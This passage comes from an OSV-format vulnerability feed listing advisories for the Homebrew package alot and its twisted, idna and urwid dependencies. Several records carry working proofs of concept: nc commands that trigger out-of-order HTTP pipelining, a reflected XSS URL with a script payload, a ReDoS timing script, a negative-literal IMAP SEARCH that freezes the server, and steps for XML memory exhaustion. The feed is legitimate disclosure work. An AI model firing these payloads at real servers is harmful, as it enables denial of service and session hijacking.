ype":"WEB","url":"https://security.snyk.io/vuln/SNYK-PYTHON-CONFIGOBJ-3252494"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2023-46137","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-xc8x-vp79-p3wm","CVE-2023-46137","PYSEC-2023-224"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"23.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"twisted.web has disordered HTTP pipeline response","details":"Twisted is an event-based framework for internet applications. Prior to version 23.10.0rc1, when sending multiple HTTP requests in one TCP packet, twisted.web will process the requests asynchronously without guaranteeing the response order. If one of the endpoints is controlled by an attacker, the attacker can delay the response on purpose to manipulate the response of the second request when a victim launched two requests using HTTP pipeline. Version 23.10.0rc1 contains a patch for this issue.\n\n### Details\nThere's an example faulty program:\n```python\nfrom twisted.internet import reactor, endpoints\nfrom twisted.web import server\nfrom twisted.web.proxy import ReverseProxyResource\nfrom twisted.web.resource import Resource\n\nclass Second(Resource):\n    isLeaf = True\n    def render_GET(self, request):\n        return b'SECOND\\n'\n\nclass First(Resource):\n    isLeaf = True\n    def render_GET(self, request):\n        def send_response():\n            request.write(b'FIRST DELAYED\\n')\n            request.finish()\n        reactor.callLater(0.5, send_response)\n        return server.NOT_DONE_YET\n\nroot = Resource()\n\nroot.putChild(b'second', Second())\nroot.putChild(b'first', First())\n\nendpoint = endpoints.TCP4ServerEndpoint(reactor, 8080)\nendpoint.listen(server.Site(root))\nreactor.run()\n```\n\nWhen two requests for `/first` and `/second` are sent in the same order, the second request will be responded to first.\n```shell\necho -en \"GET /first HTTP/1.1\\r\\nHost: a\\r\\n\\r\\nGET /second HTTP/1.1\\r\\nHost: a\\r\\n\\r\\n\" | nc localhost 8080\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-46137"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2023-224.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2024-3651","published":"2026-08-13T16:35:13Z","modified":"2026-10-16T09:10:14Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.1"},{"fixed":"0.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2024-41671","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-c8m8-j448-xjx7","CVE-2024-41671","PYSEC-2026-1992"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"24.7.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"twisted.web has disordered HTTP pipeline response","details":"### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n    && git clone --recurse-submodules https://github.com/twisted/twisted \\\n    && cd twisted \\\n    && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -> bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -> bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41671"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2024-41810","published":"2026-08-13T16:35:13Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-cf56-g6w6-pqq2","CVE-2024-41810","PYSEC-2024-75"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.11"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"24.7.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted vulnerable to HTML injection in HTTP redirect body","details":"### Summary\n\nThe `twisted.web.util.redirectTo` function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body.\n\n### Details\nTwisted’s `redirectTo` function generates an `HTTP 302 Redirect` response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination.\n\nThe function reflects the destination URL in the HTML body without any output encoding. \n```python\n# https://github.com/twisted/twisted/blob/trunk/src/twisted/web/_template_util.py#L88\ndef redirectTo(URL: bytes, request: IRequest) -> bytes:\n    # ---snip---\n    content = b\"\"\"\n<html>\n    <head>\n        <meta http-equiv=\\\"refresh\\\" content=\\\"0;URL=%(url)s\\\">\n    </head>\n    <body bgcolor=\\\"#FFFFFF\\\" text=\\\"#000000\\\">\n    <a href=\\\"%(url)s\\\">click here</a>\n    </body>\n</html>\n\"\"\" % {\n        b\"url\": URL\n    }\n    return content\n```\n\nIf an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack.\n\nIt’s worth noting that the issue is known to maintainers and tracked with GitHub [Issue#9839](https://github.com/twisted/twisted/issues/9839). The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…”\n\n### PoC\nThe issue can be reproduced by running the following Twisted-based HTTP server locally:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\nfrom twisted.web.util import redirectTo\n\nclass Simple(resource.Resource):\n    isLeaf = True\n    def render_GET(self, request):\n        url = request.args[b'url'][0]  # <-- open redirect\n        return redirectTo(url, request)\n\nsite = server.Site(Simple())\nreactor.listenTCP(9009, site)\nreactor.run()\n```\nOnce running, navigate to the following URL: `http://127.0.0.1:9009?url=ws://example.com/\"><script>alert(document.location)</script>`, and verify that the “alert” dialog was displayed.\n\n**Note**: Due to the different ways browsers validate the redirect Location header, this attack is possible only in **Firefox**. All other tested browsers will display an error message to the user and will not render the HTML body.\n\n### Impact\nIf successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-cf56-g6w6-pqq2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41810"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2024-75.yaml"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-103022","published":"2026-11-10T10:08:45Z","modified":"2026-11-10T10:08:45Z","upstream":["GHSA-cp25-j9x5-p5xm","CVE-2026-103022"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.7","resource":"urwid","resource_purl":"pkg:pypi/urwid@5.0.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urwid","subject_version":"5.0.1","key":"pkg:pypi/urwid@5.0.1","resource":"urwid"}]},"summary":"Urwid: handle_short_request() crashes on non-ASCII POST body (UnicodeEncodeError DoS)","details":"### Summary\nThe `handle_short_request()` function in `urwid/display/web.py` raises an unhandled `UnicodeEncodeError` when processing a POST request body containing non-ASCII bytes. The function reads POST input and encodes it to ASCII before writing to a named pipe. Any byte value above `0x7F` causes the CGI process to exit with an unhandled exception, returning an HTTP 500 error to the client. Additionally, a file descriptor opened earlier in the same function is not closed before the exception propagates, causing a file descriptor leak for the lifetime of the CGI process.\n\nA second instance of missing exception handling exists in the polling update path, where non-UTF-8 socket output causes an unhandled `UnicodeDecodeError`.\n\n### Impact\nAn attacker who observes a valid `X-Urwid-ID` session token (transmitted in plaintext HTTP response headers) can send repeated POST requests containing non-ASCII bytes to the `urwid` CGI endpoint. Each malformed request causes the CGI handler to crash with HTTP 500. This results in a Denial of Service (DoS) for legitimate users using the `urwid` web interface.\n\n### Affected Versions\n`urwid <= 4.0.6`\n\n### Patches\nFixed in `urwid 4.0.7`. Users should upgrade to version `4.0.7` or later.\n\n### Workarounds\nNo direct workaround exists short of disabling the `urwid` web display interface.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/urwid/urwid/security/advisories/GHSA-cp25-j9x5-p5xm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103022"},{"type":"WEB","url":"https://github.com/urwid/urwid/pull/1201"},{"type":"WEB","url":"https://github.com/urwid/urwid/commit/b79d9a96843a6f5950bb2bfab5d059bdc61c538b"},{"type":"PACKAGE","url":"https://github.com/urwid/urwid"},{"type":"WEB","url":"https://github.com/urwid/urwid/releases/tag/4.0.7"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-106454","published":"2026-10-08T10:49:47Z","modified":"2026-11-02T22:50:23Z","upstream":["GHSA-8pqf-f4m5-798g","CVE-2026-106454","PYSEC-2026-4304"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: IMAP wildcardToRegexp() ReDoS","details":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-8pqf-f4m5-798g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106454"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12788"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/2f8a3c29246f4eb324690e06a9767a11dc4aec9f"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-115774","published":"2026-10-27T09:18:34Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-2qrf-pqgx-qh9v","CVE-2026-115774"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCH","details":"## Summary\n\nAn infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served.\n\n## Details\n\nMeeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body:\n\n```python\n# twisted/mail/imap4.py  parseNestedParens\nliteralSize = int(s[i + 1 : end])          # no sign check\ncontentStack[-1].append((s[end + 3 : end + 3 + literalSize],))\ni = end + 3 + literalSize                    # negative size -> i goes negative\n```\n\n`int(b\"-100\")` is `-100`, so `i` goes negative; the loop condition `i < len(s)` stays true and `s[i : i + 1]` on a negative index never raises, so the cursor cycles forever. The `_literalStringLimit` guard only covers the synchronizing-literal continuation path, not this inline branch. The call is reached from `select_SEARCH` through `arg_searchkeys`, dispatched only in the selected state, so a valid login and a selected mailbox (any low-privilege account) suffice. It runs in the reactor thread, and the connection timeout cannot fire because the reactor itself is frozen.\n\nAffected product: Twisted (`twisted.mail`), the IMAP4 server `twisted.mail.imap4.IMAP4Server`\nAffected versions: 26.4.0 and earlier\n\n## PoC\n\nLog in, select a mailbox, and send a `SEARCH` whose literal size is negative:\n\n```text\nC: t1 LOGIN testuser password-test\nC: t2 SELECT INBOX\nC: t3 SEARCH {-100}zzzzzzzzzz\n```\n\nThe server never responds and one core stays at 100 percent. In a measured run a health service co-hosted on the same reactor stopped answering the instant the command arrived, showing the freeze hits the whole process and not just the attacking connection. A valid `{5}zzzzz` completes normally and a non-numeric `{abc}` is rejected with a parse error, which isolates the cause to the missing negative-size check.\n\n## Impact\n\nA remote denial of service. One command of about ten bytes freezes the single-threaded reactor, so it stops serving not only every other IMAP connection but every other service co-hosted in the same process (for example SMTP and POP3 under `twistd mail`), and no timeout can recover it until the process is restarted. It requires an authenticated session, so any account holder can trigger it; there is no confidentiality or integrity impact and no code execution.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-2qrf-pqgx-qh9v"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12764"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/3d125548bcbe955007cb97f480bb699a5e074741"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-115775","published":"2026-10-27T09:18:34Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-3476-c5c2-fr73","CVE-2026-115775"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: Unauthenticated Remote Denial of Service in the Twisted words domish XML Element Stream via an Unbounded Element Tree","details":"## Summary\n\nAn allocation-without-limits vulnerability in the Twisted XML element stream lets any unauthenticated remote peer exhaust server memory over a single stream. When the peer opens a container element and streams child elements without ever closing the container, every element is materialised into an in-memory tree with no limit on depth or child count. An element is released only when its end tag arrives, so a container the attacker never closes retains everything beneath it until the process is killed.\n\n## Details\n\nIn `ExpatElementStream._onStartElement`, each start tag appends a new element to the current element's children and descends into it, with no depth or child-count check:\n\n```python\n# src/twisted/words/xish/domish.py  (ExpatElementStream._onStartElement)\nif self.documentStarted == 1:\n    if self.currElem != None:\n        self.currElem.children.append(e)   # append child: no depth/count cap\n        e.parent = self.currElem\n    self.currElem = e                      # descend into the new element\n```\n\nAn element is emitted and dropped only when its end tag arrives while it sits directly under the document root, so a container that is never closed keeps every child beneath it. The transport `XmlStream.dataReceived` feeds bytes to `self.stream.parse(data)` with no size limit, and in XMPP the stream is parsed during negotiation before authentication.\n\nAffected product: Twisted, `twisted.words.xish.domish` element stream\nAffected versions: confirmed against 26.4.0\n\n## PoC\n\nOn any endpoint that parses untrusted XML streams with this stack, such as an XMPP server, open a stream by sending the opening `stream:stream` tag and a container element, then stream child elements continuously and never send the container's closing tag. No credentials are required, because in XMPP the stream is parsed before authentication.\n\nEvery child is appended to the container and retained because the container is never emitted, and the transport applies no limit on the size of the unfinished document. Because each small element becomes a full object in memory the footprint is many times the traffic sent, so a modest-bandwidth peer, or several such streams, drives the process to memory exhaustion.\n\n## Impact\n\nThis is an unauthenticated remote denial of service by memory exhaustion. A single stream grows an in-memory element tree without bound, amplified by per-element object overhead, until the operating system kills the server. There is no confidentiality or integrity impact and no code execution. The affected surface is any deployment that parses untrusted XML streams with this stack, such as an XMPP server or component.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/twisted/twisted/security/advisories/GHSA-3476-c5c2-fr73"},{"type":"WEB","url":"https://github.com/twisted/twisted/pull/12751"},{"type":"WEB","url":"https://github.com/twisted/twisted/commit/8873814bec8288e2466fad4d2c4d64039beb88b0"},{"type":"PACKAGE","url":"https://github.com/twisted/twisted"},{"type":"WEB","url":"https://github.com/twisted/twisted/releases/tag/twisted-26.10.0rc1"}]},{"schema_version":"1.7.3","id":"BREW-alot-CVE-2026-115776","published":"2026-10-27T09:18:34Z","modified":"2026-11-03T04:36:10Z","upstream":["GHSA-53xc-49m8-p798","CVE-2026-115776"],"affected":[{"package":{"ecosystem":"Homebrew","name":"alot","purl":"pkg:brew/alot"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.7"},{"fixed":"0.12_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"26.10.0rc1","resource":"twisted","resource_purl":"pkg:pypi/twisted@26.10.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"twisted","subject_version":"26.10.0","key":"pkg:pypi/twisted@26.10.0","resource":"twisted"}]},"summary":"Twisted: Unauthenticated Remote Denial of Service in the Twisted IRC Server via an Unbounded Line Buffer","details":"## Summary\n\nAn unbounded-buffer vulnerability (CWE-770) in the Twisted words IRC server lets any unauthenticated remote client exhaust server memory. `twisted.words.protocols.irc.IRC.dataReceived` appends every received byte to a per-connection buffer and only removes data at a line feed, with no maximum length. Because `IRC` is a plain `Protocol` and not a `LineReceiver`, one connection that streams bytes without a line feed grows the buffer without bound and drives the whole single-threaded process to out-of-memory, dropping every user at once. The `twistd words` server inherits the method unchanged through `IRCUser`, and the data is buffered before any authentication.\n\n## Details\n\n`IRC.dataReceived` keeps everything up to the last line feed in `self.buffer`:\n\n```python\n# twisted/words/protocols/irc.py\nclass IRC(protocol.Protocol):        # not a LineReceiver, so no MAX_LENGTH\n    buffer = \"\"\n    def dataReceived(self, data):\n        if isinstance(data, bytes):\n            data = data.decode(\"utf-8\")\n        lines = (self.buffer + 